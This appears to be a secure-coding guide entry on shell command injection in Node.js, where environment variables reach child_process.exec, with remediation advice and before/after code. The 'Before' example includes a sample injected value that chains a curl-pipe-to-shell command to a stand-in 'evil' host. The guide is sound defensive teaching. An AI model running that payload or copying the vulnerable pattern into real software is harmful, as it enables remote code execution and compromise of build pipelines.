Description
When a dynamic string containing environment variables or execution paths reaches child_process.exec or execSync, the shell interprets spaces, quotes, semicolons and operators such as &&. An attacker who controls CI/CD variables, an .env file or the paths involved may alter a command or execute another one. Merely using an environment value does not mean an attacker controls it.
Potential impact
- Shell interpretation may execute additional commands.
- Manipulated arguments to tools such as
rmortarmay delete or alter data. - Malicious commands in CI scripts or variables may compromise build and deployment pipelines.
- Execution with elevated permissions may expose credentials or support privilege escalation.
Remediation
- Fix the executable to a trusted absolute path and pass a separate argument array with
execFile,execFileSyncorspawnusingshell: false. - Validate environment values for type, allowed characters and length. A program still interprets its own options without a shell, so mark the end of options where needed.
- Accept only filenames or map inputs to approved paths. Normalizing a path and comparing its prefix does not prevent directory escapes through symbolic links.
- Prevent untrusted users from modifying the backup directory and destination files, and define how existing files and links are handled.
- Protect CI/CD configuration and the execution environment, avoid logging secrets, and minimize process permissions and inherited environment variables.
Examples
Before
const cp = require("child_process");
// Pass an environment-derived command string to execSync
function makeBackup() {
const target = process.env.BACKUP_FILE; // For example, "backup.tgz; curl http://evil|sh"
const cmd = `tar -czf ${target} ./data`;
cp.execSync(cmd); // Shell interpretation may execute another command
}
makeBackup();
After
const cp = require("child_process");
const path = require("path");
// Separate the executable and arguments, and validate the path
function makeBackupSafe() {
const baseDir = "/var/backups";
const rawName = process.env.BACKUP_FILE || "backup.tgz";
if (!/^[a-zA-Z0-9][a-zA-Z0-9._-]{0,99}$/.test(rawName)) {
throw new Error("Invalid backup filename");
}
const dest = path.resolve(baseDir, rawName);
if (!dest.startsWith(baseDir + path.sep)) {
throw new Error("Invalid backup path");
}
// Run without a shell using an argument array
cp.execFileSync("/bin/tar", ["-czf", dest, "./data"], { shell: false });
}
makeBackupSafe();
The first example inserts BACKUP_FILE into a shell command. The second accepts only a permitted filename and passes separate arguments to the fixed /bin/tar executable. It limits shell interpretation and textual path traversal, but does not control filesystem links or overwriting. Prepare a trusted backup directory, destination files and working directory, and handle failures.